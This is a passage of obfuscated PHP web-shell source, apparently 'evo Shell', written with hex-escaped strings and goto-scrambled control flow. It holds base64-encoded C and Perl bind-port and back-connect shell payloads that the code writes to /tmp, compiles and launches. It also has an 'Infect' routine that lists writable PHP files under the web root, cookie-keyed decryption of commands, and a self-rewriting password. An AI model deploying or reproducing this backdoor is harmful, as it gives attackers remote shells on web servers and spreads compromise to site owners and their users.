111\x43\x42\x6a\142\x47\71\172\132\x53\x68\x6d\x5a\103\x6b\x37\104\x51\x70\x39"; $back_connect_p = "\x49\171\105\166\144\130\x4e\x79\114\62\x4a\x70\x62\151\x39\167\132\130\x4a\x73\104\121\x70\61\x63\62\125\x67\x55\62\71\152\x61\62\126\60\x4f\167\60\113\x4a\107\x6c\150\132\107\122\x79\120\x57\154\165\x5a\x58\122\146\131\x58\x52\x76\142\x69\147\x6b\121\x56\112\x48\126\154\x73\x77\130\x53\153\x67\146\110\167\x67\x5a\107\x6c\x6c\x4b\103\112\106\x63\x6e\x4a\166\143\152\157\x67\112\103\106\143\142\151\111\x70\x4f\x77\x30\113\x4a\110\102\x68\132\x47\x52\x79\120\x58\116\166\131\x32\x74\x68\132\x47\x52\171\130\x32\x6c\x75\x4b\103\x52\102\x55\153\144\127\x57\172\x46\144\x4c\x43\101\153\x61\x57\x46\x6b\x5a\110\x49\160\x49\110\x78\x38\111\107\x52\160\x5a\123\x67\x69\x52\130\x4a\x79\x62\63\111\66\111\x43\121\150\130\x47\x34\x69\113\x54\163\116\103\x69\x52\167\143\x6d\x39\60\x62\x7a\61\x6e\x5a\130\122\167\x63\x6d\x39\x30\142\x32\112\65\142\155\x46\x74\x5a\123\147\156\x64\x47\116\167\112\x79\153\x37\x44\x51\x70\x7a\142\62\x4e\x72\132\x58\x51\157\x55\x30\x39\104\123\x30\126\125\114\x43\x42\x51\122\154\x39\112\x54\x6b\x56\125\x4c\x43\102\x54\124\60\116\x4c\x58\x31\116\x55\x55\x6b\126\x42\124\x53\x77\147\112\110\x42\x79\142\63\122\166\113\123\x42\x38\146\x43\102\153\141\127\125\x6f\111\x6b\x56\x79\143\155\x39\171\117\151\101\153\111\x56\170\x75\x49\151\153\67\x44\x51\x70\152\x62\x32\65\x75\132\127\116\60\x4b\106\116\120\x51\60\164\106\126\103\167\147\112\x48\x42\x68\132\x47\x52\x79\113\123\102\70\x66\103\102\153\x61\x57\125\157\111\153\126\x79\143\x6d\x39\x79\x4f\151\101\x6b\111\126\x78\x75\111\151\153\x37\104\121\x70\166\x63\107\x56\x75\113\106\x4e\x55\122\105\154\x4f\x4c\x43\101\151\120\151\x5a\x54\x54\60\116\114\122\126\x51\151\113\x54\163\116\x43\155\71\x77\x5a\127\64\157\125\61\122\x45\x54\x31\126\x55\114\x43\x41\x69\120\151\132\x54\124\60\x4e\114\x52\x56\x51\151\113\124\x73\116\x43\x6d\x39\x77\x5a\x57\64\x6f\x55\61\x52\x45\x52\126\112\x53\x4c\103\x41\151\x50\x69\132\124\x54\60\x4e\x4c\x52\x56\121\x69\113\124\163\116\x43\x6e\116\x35\143\63\122\154\x62\x53\147\156\114\x32\x4a\x70\x62\x69\71\x7a\141\103\101\x74\x61\x53\x63\x70\117\167\60\113\131\62\x78\x76\143\x32\125\x6f\125\61\122\105\x53\x55\x34\160\x4f\x77\60\113\x59\62\170\x76\143\x32\125\157\125\61\x52\x45\124\x31\x56\x55\113\124\x73\x4e\103\x6d\x4e\163\142\63\x4e\154\x4b\x46\116\x55\122\x45\126\123\x55\x69\153\67"; $bind_port_c = "\111\x32\154\x75\131\62\x78\x31\x5a\107\125\147\120\x48\x4e\x30\132\x47\154\x76\114\x6d\x67\x2b\x44\x51\157\152\141\127\65\152\142\110\126\153\132\x53\101\70\x63\x33\x52\171\x61\x57\x35\156\x4c\155\147\x2b\x44\121\x6f\x6a\x61\127\65\152\142\x48\126\153\132\123\101\70\144\127\65\x70\x63\x33\122\x6b\x4c\x6d\x67\x2b\x44\x51\x6f\x6a\x61\x57\65\x6a\142\x48\x56\153\132\123\101\70\142\155\126\60\132\x47\111\165\x61\x44\x34\116\103\151\x4e\x70\x62\x6d\x4e\x73\x64\127\122\154\111\x44\x78\x7a\144\x47\122\163\x61\x57\111\165\141\x44\x34\116\x43\x6d\x6c\x75\144\x43\x42\164\x59\x57\x6c\165\113\107\154\165\x64\x43\102\150\x63\155\144\x6a\114\x43\x42\x6a\x61\x47\106\x79\x49\103\157\161\x59\130\x4a\x6e\144\x69\153\x67\145\x77\60\x4b\111\x43\101\x67\x49\x47\x6c\x75\x64\103\102\172\114\107\x4d\163\x61\x54\163\116\103\x69\x41\x67\x49\103\102\152\x61\x47\106\171\111\x48\102\142\115\172\102\x64\117\x77\x30\x4b\x49\x43\101\147\111\110\116\60\143\x6e\x56\152\144\x43\102\172\x62\62\116\x72\x59\x57\122\x6b\143\154\71\x70\x62\151\x42\x79\117\167\x30\x4b\x49\x43\x41\147\x49\x47\x52\150\132\127\x31\x76\x62\151\147\170\x4c\x44\x41\x70\x4f\167\x30\x4b\111\103\101\x67\111\x48\x4d\147\x50\x53\102\x7a\x62\62\116\x72\132\x58\121\157\121\125\132\x66\123\x55\x35\x46\x56\x43\170\124\124\x30\x4e\114\130\x31\x4e\x55\x55\153\x56\x42\x54\123\x77\x77\x4b\124\x73\x4e\x43\x69\x41\147\111\x43\102\160\x5a\151\x67\150\143\x79\153\147\143\x6d\x56\x30\x64\130\112\165\x49\103\60\170\x4f\x77\x30\113\x49\103\x41\x67\111\110\111\x75\143\62\154\x75\x58\x32\x5a\150\142\x57\x6c\x73\145\x53\x41\x39\x49\105\x46\x47\x58\60\154\117\x52\126\x51\67\x44\121\x6f\x67\x49\103\101\x67\143\151\65\x7a\x61\x57\x35\x66\x63\107\71\171\x64\x43\x41\71\x49\107\150\60\x62\x32\x35\x7a\x4b\x47\x46\60\x62\x32\153\157\131\x58\112\x6e\144\154\163\170\130\123\153\160\117\x77\x30\x4b\x49\103\x41\147\x49\x48\111\x75\143\62\154\165\x58\x32\106\153\x5a\x48\111\x75\x63\61\71\x68\132\107\122\171\111\104\60\147\141\x48\x52\x76\142\155\x77\157\123\x55\65\x42\x52\x45\122\123\130\60\x46\117\127\x53\x6b\67\x44\121\157\x67\111\x43\101\x67\x59\x6d\154\165\132\x43\x68\x7a\x4c\103\x41\x6f\143\63\122\171\144\x57\x4e\x30\x49\110\x4e\166\131\x32\x74\x68\132\107\x52\171\x49\103\157\160\x4a\156\x49\x73\111\x44\102\x34\115\124\x41\160\117\x77\60\113\111\103\101\x67\111\107\x78\160\143\x33\x52\154\142\x69\x68\172\114\103\101\x31\113\x54\x73\116\103\151\101\147\x49\x43\x42\x33\x61\x47\x6c\x73\132\123\147\x78\x4b\123\102\67\x44\x51\x6f\x67\111\103\x41\147\x49\103\x41\147\111\107\115\71\x59\x57\116\x6a\132\130\x42\x30\x4b\110\x4d\163\115\103\167\x77\113\x54\x73\x4e\x43\151\101\147\111\x43\x41\147\111\103\x41\x67\x5a\x48\x56\167\x4d\x69\150\x6a\x4c\x44\101\160\x4f\x77\60\x4b\111\103\x41\x67\111\103\x41\x67\111\103\x42\x6b\x64\x58\101\x79\x4b\107\x4d\x73\115\123\153\67\x44\121\x6f\x67\x49\103\101\147\111\x43\101\147\x49\107\x52\61\x63\x44\111\157\131\171\x77\x79\x4b\x54\x73\116\103\x69\101\147\111\103\x41\x67\111\x43\x41\147\144\63\112\160\144\x47\125\x6f\x59\x79\167\x69\x55\x47\106\x7a\143\x33\144\166\x63\x6d\x51\66\111\151\167\x35\x4b\124\163\x4e\x43\151\x41\147\x49\103\101\x67\111\x43\x41\147\143\155\x56\150\132\103\150\x6a\x4c\110\x41\163\x63\x32\x6c\66\x5a\x57\x39\155\113\x48\101\x70\113\124\163\x4e\103\151\101\147\x49\103\x41\x67\111\x43\101\x67\132\155\71\171\x4b\107\153\71\x4d\104\164\x70\120\x48\116\60\143\x6d\170\154\x62\151\x68\x77\113\x54\164\160\113\171\x73\160\104\121\157\147\111\x43\101\147\x49\103\x41\147\111\103\x41\x67\x49\103\102\x70\x5a\151\x67\147\113\x48\x42\142\x61\126\x30\x67\x50\x54\60\x67\112\61\170\165\112\x79\x6b\x67\x66\x48\x77\x67\113\110\x42\142\141\126\60\x67\x50\124\60\147\112\61\170\x79\x4a\x79\153\147\x4b\121\x30\x4b\111\103\x41\147\x49\103\x41\147\x49\x43\101\147\x49\x43\x41\147\111\103\x41\x67\x49\x48\x42\142\141\126\x30\x67\120\x53\x41\156\130\x44\101\x6e\117\167\x30\113\x49\x43\101\x67\x49\103\101\147\111\x43\102\160\132\151\x41\x6f\x63\63\x52\x79\131\62\61\167\113\x47\x46\x79\132\63\x5a\x62\x4d\154\x30\163\x63\x43\153\147\x50\124\x30\x67\115\103\153\116\x43\x69\101\x67\111\x43\x41\x67\x49\x43\101\x67\111\103\x41\x67\111\110\116\x35\x63\63\x52\154\142\123\147\x69\114\62\112\x70\x62\x69\71\x7a\x61\x43\101\x74\141\x53\111\x70\x4f\167\60\113\111\103\101\x67\x49\103\101\x67\x49\103\102\152\142\x47\x39\x7a\x5a\123\x68\152\113\124\x73\x4e\x43\151\x41\x67\x49\x43\x42\x39\104\121\160\71"; $bind_port_p = "\111\171\x45\166\144\x58\116\171\x4c\62\x4a\160\142\x69\x39\x77\x5a\130\x4a\163\104\x51\x6f\153\x55\x30\150\106\x54\x45\167\71\x49\151\71\x69\x61\x57\64\166\x63\62\x67\147\x4c\127\153\151\x4f\x77\60\113\141\x57\131\x67\x4b\x45\102\x42\x55\x6b\144\x57\111\104\x77\147\x4d\123\153\x67\x65\x79\102\x6c\x65\x47\154\60\x4b\x44\x45\x70\117\x79\102\x39\x44\121\x70\x31\x63\62\125\147\125\x32\x39\152\x61\62\x56\x30\x4f\x77\x30\113\143\x32\71\152\141\x32\126\60\113\106\x4d\163\112\x6c\102\x47\x58\x30\x6c\117\122\126\x51\x73\112\154\116\x50\x51\60\x74\146\x55\x31\122\x53\122\125\x46\x4e\114\x47\x64\x6c\144\x48\x42\171\x62\63\x52\x76\131\156\x6c\165\x59\x57\61\x6c\x4b\x43\144\x30\131\63\101\x6e\x4b\123\x6b\x67\x66\x48\x77\x67\132\x47\154\x6c\111\x43\x4a\104\131\x57\x35\x30\111\107\116\171\132\x57\106\60\132\123\x42\172\x62\62\x4e\x72\x5a\130\x52\x63\142\151\x49\x37\104\x51\x70\172\x5a\130\122\172\x62\x32\116\x72\x62\x33\x42\x30\x4b\x46\115\x73\x55\x30\71\115\130\x31\116\x50\121\x30\x74\106\x56\103\170\x54\124\x31\x39\x53\122\x56\x56\x54\122\x55\106\x45\x52\x46\111\163\x4d\x53\153\67\x44\121\160\x69\x61\127\65\153\113\x46\115\163\x63\62\71\152\141\x32\x46\x6b\132\110\x4a\x66\141\127\x34\157\112\105\x46\123\x52\61\x5a\142\x4d\x46\x30\163\123\125\x35\102\x52\105\122\x53\130\x30\x46\117\127\x53\153\160\111\110\x78\x38\x49\x47\x52\x70\x5a\123\101\151\121\62\106\x75\144\x43\x42\166\143\x47\x56\165\x49\x48\x42\166\143\156\x52\143\x62\151\111\67\104\x51\160\x73\141\x58\116\60\x5a\x57\64\x6f\x55\171\x77\172\113\123\x42\x38\146\103\102\153\x61\x57\x55\x67\111\153\x4e\150\142\x6e\x51\x67\142\107\x6c\172\x64\x47\126\x75\111\x48\x42\166\143\x6e\x52\143\x62\151\x49\x37\x44\x51\x70\63\141\x47\154\163\132\x53\147\x78\x4b\123\x42\67\x44\x51\x6f\112\x59\x57\x4e\x6a\132\130\x42\60\x4b\105\x4e\x50\124\153\64\x73\x55\171\153\67\104\121\x6f\112\x61\x57\x59\157\111\x53\147\153\143\x47\x6c\x6b\x50\127\x5a\x76\x63\155\x73\x70\x4b\x53\x42\x37\x44\121\x6f\112\103\x57\122\160\x5a\123\101\x69\x51\x32\x46\165\x62\155\x39\x30\x49\x47\132\x76\x63\x6d\x73\151\x49\x47\154\x6d\x49\103\x67\x68\x5a\107\x56\155\141\127\x35\x6c\x5a\x43\x41\x6b\143\x47\x6c\153\x4b\124\163\x4e\103\x67\x6b\x4a\x62\63\102\x6c\142\x69\x42\x54\126\105\x52\112\x54\x69\167\x69\x50\x43\132\104\x54\60\65\117\x49\152\x73\116\x43\x67\x6b\x4a\142\63\x42\154\x62\x69\x42\124\126\105\122\120\x56\x56\x51\163\111\152\64\x6d\121\x30\71\117\124\151\111\x37\x44\121\x6f\112\103\127\x39\x77\132\x57\64\x67\x55\x31\122\105\x52\x56\x4a\x53\114\x43\x49\x2b\x4a\153\x4e\x50\x54\153\64\151\117\x77\x30\x4b\x43\x51\154\154\145\107\126\x6a\x49\x43\122\x54\123\105\x56\115\124\103\102\x38\146\x43\x42\153\x61\127\125\x67\x63\x48\x4a\160\142\x6e\121\147\121\x30\x39\x4f\x54\x69\101\x69\121\62\x46\x75\x64\103\x42\x6c\x65\x47\126\152\144\130\122\x6c\x49\x43\122\x54\x53\x45\126\115\x54\x46\x78\x75\x49\152\x73\x4e\103\147\x6b\112\131\x32\x78\x76\143\62\x55\x67\121\x30\71\117\124\152\163\116\x43\x67\x6b\112\x5a\x58\150\160\x64\103\x41\167\117\167\x30\x4b\103\x58\x30\116\103\x6e\x30\x3d"; echo "\74\150\61\76\x4e\145\164\x77\x6f\x72\x6b\x20\x74\157\x6f\x6c\163\74\x2f\x68\61\76\x3c\x64\151\166\x20\x63\x6c\141\163\163\75\x63\x6f\156\x74\x65\x6e\164\76\xa\x20\40\40\x20\40\40\40\40\74\x66\x6f\x72\155\40\x6e\x61\155\x65\x3d\47\156\x66\x70\47\40\157\156\x53\x75\x62\155\x69\164\x3d\47\x67\50\156\165\x6c\x6c\54\156\165\154\154\x2c\x74\150\x69\163\x2e\165\x73\151\x6e\x67\x2e\x76\x61\154\165\145\x2c\x74\x68\x69\163\56\160\157\x72\x74\56\166\x61\x6c\x75\x65\x2c\164\x68\151\x73\56\160\x61\x73\163\x2e\x76\x61\x6c\x75\145\x29\73\x72\145\164\x75\x72\x6e\40\x66\141\x6c\163\145\73\47\76\12\40\x20\40\x20\x20\x20\40\x20\x3c\x73\x70\x61\156\x3e\102\151\156\x64\x20\x70\157\162\x74\40\x74\x6f\40\x2f\142\151\156\x2f\x73\x68\74\x2f\163\x70\141\x6e\x3e\74\142\x72\57\76\xa\x20\40\40\x20\x20\40\x20\40\120\x6f\x72\164\x3a\x20\x3c\x69\x6e\x70\165\x74\40\x74\x79\x70\x65\75\x27\164\x65\x78\x74\x27\40\156\141\155\145\x3d\47\160\x6f\x72\x74\47\x20\166\141\154\x75\145\x3d\x27\x33\61\x33\63\x37\x27\x3e\x20\x50\141\x73\x73\x77\x6f\162\x64\x3a\x20\x3c\x69\x6e\x70\x75\x74\40\x74\x79\160\145\75\x27\164\x65\170\164\x27\40\x6e\141\155\145\75\47\160\x61\x73\163\x27\76\40\x55\x73\x69\156\147\x3a\x20\x3c\x6c\141\142\x65\154\x3e\74\x73\x65\x6c\145\143\x74\x20\156\141\155\145\x3d\x27\165\163\x69\156\147\x27\76\x3c\157\x70\x74\151\x6f\156\x20\166\x61\x6c\x75\145\x3d\x27\x62\x70\143\x27\76\x43\x3c\x2f\x6f\x70\164\151\157\x6e\x3e\74\x6f\160\x74\151\157\x6e\x20\166\141\154\165\x65\75\x27\x62\160\160\x27\76\120\x65\162\154\74\x2f\x6f\160\x74\151\157\x6e\76\74\57\163\x65\x6c\145\143\x74\x3e\74\x2f\x6c\x61\142\145\154\x3e\x20\x3c\151\x6e\160\165\x74\x20\x74\171\160\145\x3d\x73\165\142\155\151\x74\40\166\x61\x6c\x75\x65\x3d\47\x73\165\x62\155\151\x74\x27\x3e\12\x20\x20\x20\40\x20\x20\40\40\74\57\x66\x6f\x72\x6d\76\12\x20\40\40\40\x20\x20\x20\40\x3c\x66\x6f\x72\155\40\x6e\x61\x6d\145\75\x27\x6e\x66\x70\47\40\157\x6e\x53\165\142\x6d\x69\x74\75\47\x67\x28\156\165\x6c\x6c\54\156\x75\x6c\x6c\54\x74\150\151\163\56\165\163\x69\156\x67\x2e\x76\x61\x6c\165\145\x2c\x74\x68\151\163\56\163\145\x72\x76\145\x72\x2e\166\141\x6c\165\x65\54\164\x68\x69\163\56\160\x6f\162\164\x2e\166\141\154\x75\x65\51\x3b\162\x65\x74\165\162\x6e\x20\x66\141\x6c\x73\145\x3b\47\x3e\xa\x20\40\40\40\x20\40\40\40\x3c\163\x70\x61\x6e\x3e\x42\141\x63\x6b\55\143\157\x6e\x6e\145\x63\x74\x20\164\157\74\57\163\160\141\x6e\x3e\x3c\x62\162\x2f\x3e\12\40\40\x20\40\x20\40\x20\x20\x53\145\x72\166\x65\162\x3a\40\x3c\151\156\x70\165\x74\x20\164\171\160\x65\75\47\164\x65\x78\164\47\x20\x6e\141\x6d\145\x3d\x27\x73\x65\162\166\x65\162\47\40\x76\141\x6c\x75\x65\75" . $_SERVER["\122\105\x4d\x4f\x54\x45\137\101\104\104\122"] . "\x3e\x20\x50\x6f\162\164\x3a\40\74\x69\x6e\x70\x75\x74\40\164\x79\x70\145\x3d\x27\x74\145\x78\164\47\40\156\141\155\145\x3d\x27\160\x6f\x72\164\x27\40\x76\x61\154\x75\x65\x3d\47\63\x31\x33\x33\67\x27\x3e\40\x55\x73\x69\x6e\x67\72\x20\74\x6c\x61\142\x65\x6c\x3e\x3c\163\x65\154\145\143\164\40\x6e\141\155\x65\x3d\x27\x75\x73\x69\x6e\147\x27\x3e\x3c\x6f\160\x74\151\157\x6e\40\x76\141\154\x75\145\x3d\47\x62\143\143\x27\76\103\x3c\57\x6f\x70\164\x69\157\x6e\76\74\157\160\x74\x69\x6f\x6e\x20\166\141\154\x75\x65\x3d\x27\142\143\x70\47\76\x50\145\x72\154\x3c\57\157\160\x74\151\157\156\x3e\74\57\163\145\154\x65\143\164\x3e\x3c\57\154\141\142\145\x6c\76\40\74\x69\x6e\160\x75\164\x20\164\x79\160\145\x3d\x73\165\x62\x6d\x69\164\x20\166\x61\x6c\x75\x65\75\47\x73\165\x62\155\151\164\x27\x3e\xa\x20\x20\x20\40\40\40\x20\40\x3c\57\x66\x6f\x72\155\x3e\74\142\162\76"; if (isset($_POST["\160\x31"])) { function cf($f, $t) { $w = @fopen($f, "\x77") or @function_exists("\x66\x69\x6c\145\137\160\165\x74\x5f\x63\157\x6e\x74\x65\x6e\x74\x73"); if ($w) { @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t)); @fclose($w); } } if ($_POST["\x70\61"] == "\142\160\x63") { cf("\57\164\x6d\160\x2f\142\x70\56\143", $bind_port_c); $dokas = ex("\147\143\x63\40\55\157\40\57\164\155\160\x2f\x62\160\40\57\x74\155\x70\57\142\x70\x2e\143"); @unlink("\x2f\164\155\160\x2f\x62\x70\56\143"); $dokas .= ex("\x2f\x74\155\x70\x2f\142\x70\40" . $_POST["\160\x32"] . "\40" . $_POST["\160\x33"] . "\40\46"); echo "\x3c\160\x72\x65\40\x63\x6c\141\x73\x73\x3d\155\x6c\61\76{$dokas}" . ex("\x70\163\40\141\x75\170\x20\174\x20\x67\x72\145\160\x20\142\x70") . "\x3c\x2f\160\162\x65\x3e"; } if ($_POST["\160\x31"] == "\142\x70\160") { cf("\57\x74\x6d\x70\x2f\x62\x70\x2e\160\x6c", $bind_port_p); $dokas = ex(which("\x70\145\162\x6c") . "\x20\57\164\155\x70\57\x62\160\56\160\154\x20" . $_POST["\x70\x32"] . "\x20\x26"); echo "\x3c\x70\162\145\40\x63\154\x61\x73\x73\x3d\155\154\x31\x3e{$dokas}" . ex("\160\x73\x20\141\x75\x78\40\x7c\40\x67\162\145\x70\40\142\x70\x2e\x70\154") . "\74\57\160\x72\145\x3e"; } if ($_POST["\160\61"] == "\142\143\143") { cf("\x2f\164\155\160\x2f\142\x63\56\143", $back_connect_c); $dokas = ex("\x67\143\143\x20\55\157\40\57\164\x6d\160\x2f\x62\x63\x20\57\164\155\x70\x2f\142\143\56\143"); @unlink("\57\164\x6d\x70\57\142\143\x2e\143"); $dokas .= ex("\x2f\x74\x6d\160\x2f\142\143\x20" . $_POST["\160\x32"] . "\40" . $_POST["\x70\x33"] . "\x20\x26"); echo "\x3c\160\x72\145\40\143\x6c\x61\163\163\x3d\x6d\154\61\76{$dokas}" . ex("\x70\x73\x20\x61\x75\x78\40\x7c\x20\147\162\145\x70\40\142\143") . "\x3c\57\x70\162\145\x3e"; } if ($_POST["\160\x31"] == "\142\143\160") { cf("\57\x74\155\160\x2f\x62\x63\56\160\154", $back_connect_p); $dokas = ex(which("\160\x65\162\154") . "\40\57\164\x6d\160\x2f\142\x63\x2e\160\x6c\40" . $_POST["\x70\x32"] . "\x20" . $_POST["\160\x33"] . "\40\46"); echo "\74\160\x72\145\40\x63\x6c\x61\163\163\75\155\x6c\x31\76{$dokas}" . ex("\160\x73\40\141\x75\x78\x20\x7c\40\x67\x72\145\x70\40\x62\x63\56\x70\x6c") . "\74\57\x70\162\145\x3e"; } } echo "\x3c\57\144\151\x76\x3e"; hardFooter(); } goto iglSy; lzlP3: function actionInfect() { hardHeader(); echo "\x3c\x68\x31\76\111\156\146\x65\143\164\x3c\57\150\x31\76\74\x64\151\166\40\143\154\x61\x73\x73\75\143\157\x6e\x74\145\x6e\164\x3e"; if ($_POST["\x70\61"] == "\x69\x6e\x66\x65\143\x74") { $target = $_SERVER["\x44\117\x43\x55\x4d\x45\x4e\x54\137\122\x4f\117\124"]; function ListFiles($dir) { if ($dh = opendir($dir)) { $files = array(); $inner_files = array(); while ($file = readdir($dh)) { if ($file != "\x2e" && $file != "\56\x2e") { if (is_dir($dir . "\x2f" . $file)) { $inner_files = ListFiles($dir . "\x2f" . $file); if (is_array($inner_files)) { $files = array_merge($files, $inner_files); } } else { array_push($files, $dir . "\57" . $file); } } } closedir($dh); return $files; } } foreach (ListFiles($target) as $key => $file) { $nFile = substr($file, -4, 4); if ($nFile == "\56\160\150\160") { if ($file != $_SERVER["\104\x4f\103\x55\115\x45\x4e\x54\x5f\122\117\x4f\124"] . $_SERVER["\120\x48\120\x5f\123\105\x4c\106"] && is_writeable($file)) { echo "{$file}\74\142\162\76"; $i++; } } } echo "\x3c\146\x6f\x6e\164\40\x63\157\154\157\x72\x3d\43\67\63\x36\67\106\60\x20\163\151\x7a\145\75\61\x34\76{$i}\x3c\x2f\146\x6f\156\164\x3e"; } else { echo "\x3c\146\x6f\x72\155\x20\x6d\145\164\150\157\x64\x3d\160\157\163\x74\x3e\x3c\151\x6e\x70\165\164\40\164\171\160\x65\x3d\x73\x75\x62\x6d\151\164\40\166\141\154\x75\145\75\x49\156\x66\145\143\164\40\156\x61\155\145\75\x69\x6e\146\145\x74\76\74\x2f\x66\157\x72\155\x3e"; echo "\x52\x65\141\154\x6c\x79\40\167\141\156\x74\x20\164\x6f\40\151\156\146\145\x63\x74\x20\164\x68\x65\40\163\x65\162\x76\x65\162\77\x26\156\x62\x73\x70\x3b\x3c\x61\x20\150\x72\145\x66\x3d\43\40\157\x6e\143\x6c\x69\x63\153\x3d\42\147\50\x6e\165\154\x6c\x2c\x6e\x75\x6c\x6c\54\47\x69\156\146\x65\x63\x74\x27\x29\42\76\x59\x65\163\x3c\57\141\x3e\74\57\144\151\166\x3e"; } hardFooter(); } goto er_VT; Qg0Nv: @ini_set("\x6d\141\170\x5f\x65\170\145\x63\165\x74\151\157\x6e\x5f\x74\151\155\x65", 0); goto pVaa0; ZUQi1: function hardScandir($dir) { if (function_exists("\x73\x63\x61\156\144\x69\x72")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } goto vsMZn; M3A4u: if (empty($_POST["\143\150\141\x72\163\145\164"])) { $_POST["\143\150\141\x72\163\145\x74"] = $dec; } goto MEgiz; lByJA: if (isset($_POST["\143"])) { @chdir($_POST["\143"]); } goto zuBor; e3HIC: function changepass($plain) { $newpass = "\44\163\150\145\x6c\154\x70\141\x73\163\x77\x6f\162\144\x3d\42" . $plain . "\x22\73"; $con = file_get_contents($_SERVER["\x53\103\122\111\120\x54\137\x46\111\x4c\105\116\x41\115\x45"]); $con = preg_replace("\57\134\x24\x73\150\145\154\154\x70\x61\163\x73\x77\x6f\162\144\x5c\40\x2a\75\134\40\x2a\x5b\42\x5c\x27\135\x2a\133\x61\55\172\101\55\132\x30\55\x39\x5f\x21\100\x23\x25\136\x26\x2a\x3d\53\50\x29\55\135\x2a\133\42\134\x27\x5d\52\73\57\x69\x73", $newpass, $con); if (file_put_contents($_SERVER["\123\x43\122\111\x50\x54\x5f\106\x49\114\x45\x4e\101\115\x45"], $con)) { return true; } else { return false; } } goto tF6Rj; xaSwR: if (!$safe_mode) { error_reporting(0); } goto jIDrn; WRlxK: function viewSize($s) { if ($s >= 1073741824) { return sprintf("\45\61\x2e\62\x66", $s / 1073741824) . "\x20\107\102"; } elseif ($s >= 1048576) { return sprintf("\x25\x31\x2e\62\x66", $s / 1048576) . "\x20\x4d\102"; } elseif ($s >= 1024) { return sprintf("\x25\x31\x2e\x32\x66", $s / 1024) . "\x20\113\102"; } else { return $s . "\x20\x42"; } } goto LY9dw; pVaa0: @set_time_limit(0); goto y8QJO; Sty57: function decrypt($str, $pwd) { $pwd = base64_encode($pwd); $str = base64_decode($str); $enc_chr = ''; $enc_str = ''; $i = 0; while ($i < strlen($str)) { for ($j = 0; $j < strlen($pwd); $j++) { $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j])); $enc_str .= $enc_chr; $i++; if ($i >= strlen($str)) { break; } } } return base64_decode($enc_str); } goto JI6fz; MEgiz: if (!isset($_POST["\156\x65"])) { if (isset($_POST["\x61"])) { $_POST["\141"] = iconv("\x75\x74\x66\55\70", $_POST["\143\150\141\162\163\x65\164"], decrypt($_POST["\141"], $_COOKIE[md5($_SERVER["\x48\124\124\x50\x5f\110\117\123\124"]) . "\x6b\x65\x79"])); } if (isset($_POST["\143"])) { $_POST["\x63"] = iconv("\x75\x74\146\55\x38", $_POST["\143\x68\x61\162\x73\x65\164"], decrypt($_POST["\x63"], $_COOKIE[md5($_SERVER["\110\x54\124\120\x5f\x48\x4f\x53\124"]) . "\153\x65\x79"])); } if (isset($_POST["\x70\x31"])) { $_POST["\160\x31"] = iconv("\165\x74\x66\x2d\x38", $_POST["\143\x68\141\162\163\x65\x74"], decrypt($_POST["\x70\x31"], $_COOKIE[md5($_SERVER["\110\124\124\x50\x5f\x48\x4f\123\x54"]) . "\x6b\145\x79"])); } if (isset($_POST["\x70\x32"])) { $_POST["\x70\x32"] = iconv("\165\x74\x66\55\x38", $_POST["\x63\150\141\162\x73\145\x74"], decrypt($_POST["\x70\x32"], $_COOKIE[md5($_SERVER["\110\x54\124\x50\137\110\117\123\x54"]) . "\x6b\145\171"])); } if (isset($_POST["\x70\63"])) { $_POST["\x70\x33"] = iconv("\165\x74\x66\x2d\70", $_POST["\143\150\141\x72\163\x65\164"], decrypt($_POST["\x70\63"], $_COOKIE[md5($_SERVER["\110\x54\x54\x50\137\x48\x4f\123\124"]) . "\153\145\x79"])); } } goto Sty57; zuBor: $cwd = @getcwd(); goto XXMfa; ksRpM: $dea = md5($_SERVER["\110\124\124\x50\x5f\125\x53\x45\x52\x5f\x41\107\105\116\x54"]); goto SLfoB; E2Okl: $safe_mode = @ini_get("\x73\141\146\x65\137\x6d\157\x64\145"); goto xaSwR; BNi7U: function get_passo() { $pattern = "\x2f\134\44\163\x68\145\x6c\x6c\160\x61\163\163\167\157\162\144\75\x5c\x22\x28\x2e\x2a\x3f\51\x5c\42\x3b\x2f"; $subject = file_get_contents($_SERVER["\123\103\x52\x49\x50\x54\x5f\106\111\114\x45\x4e\101\x4d\105"]); $result = preg_match($pattern, $subject, $matches); return isset($matches[1]) ? $matches[1] : ''; } goto e3HIC; SQ1Kg: function hardHeader() { if (empty($_POST["\x63\x68\x61\162\x73\x65\164"])) { $_POST["\143\x68\x61\x72\163\x65\164"] = $GLOBALS[$dec]; } echo "\x3c\150\164\x6d\154\76\74\x68\x65\141\144\x3e\x3c\155\145\x74\141\40\150\x74\164\160\x2d\145\x71\x75\x69\x76\75\x27\103\157\x6e\164\145\156\164\x2d\124\x79\160\145\47\x20\143\x6f\x6e\x74\x65\156\x74\x3d\47\x74\145\x78\164\x2f\150\x74\155\x6c\x3b\x20\x63\x68\141\162\x73\145\164\75" . $_POST["\x63\x68\141\x72\163\x65\164"] . "\x27\x3e\x3c\164\x69\164\x6c\x65\x3e" . $_SERVER["\x48\x54\124\120\137\110\117\x53\x54"] . "\x20\55\40\145\x76\x6f\40\123\150\x65\154\154\x3c\57\164\x69\164\154\145\76\x3c\154\151\x6e\153\x20\x72\145\154\75\47\163\150\157\x72\x74\x63\165\164\40\x69\x63\157\156\x27\x20\150\x72\145\146\75\x27\150\164\x74\160\x73\x3a\57\57\151\x2e\x69\x6d\x67\x75\162\56\x63\x6f\x6d\57\102\x53\167\x4a\60\121\x45\56\x70\x6e\147\47\76\xa\x3c\163\164\171\x6c\x65\76\xa\40\40\x20\x20\40\x20\x20\x20\x62\157\x64\x79\40\x7b\142\x61\143\153\147\162\157\x75\156\x64\55\143\x6f\154\x6f\x72\x3a\x62\x6c\141\143\153\73\40\143\x6f\154\157\162\x3a\43\x37\63\66\x37\106\x30\73\40\155\141\x72\147\x69\156\x3a\x30\x3b\x20\x66\157\x6e\x74\72\x6e\157\162\155\141\x6c\x20\x37\x35\x25\40\x41\162\x69\x61\154\54\40\110\145\x6c\x76\x65\164\x69\143\141\x2c\x20\x73\x61\x6e\x73\x2d\x73\145\x72\x69\146\73\x20\x7d\x20\12\x20\40\x20\x20\40\40\x20\40\142\157\x64\171\x2c\164\144\54\x74\x68\x20\40\40\40\40\x20\173\146\x6f\156\164\72\61\60\x70\x74\40\164\x61\x68\157\155\141\54\x61\162\x69\x61\x6c\x2c\x76\x65\x72\144\x61\x6e\x61\x2c\163\141\156\163\x2d\x73\x65\x72\151\146\54\114\165\143\151\144\x61\x20\x53\141\x6e\163\x3b\x6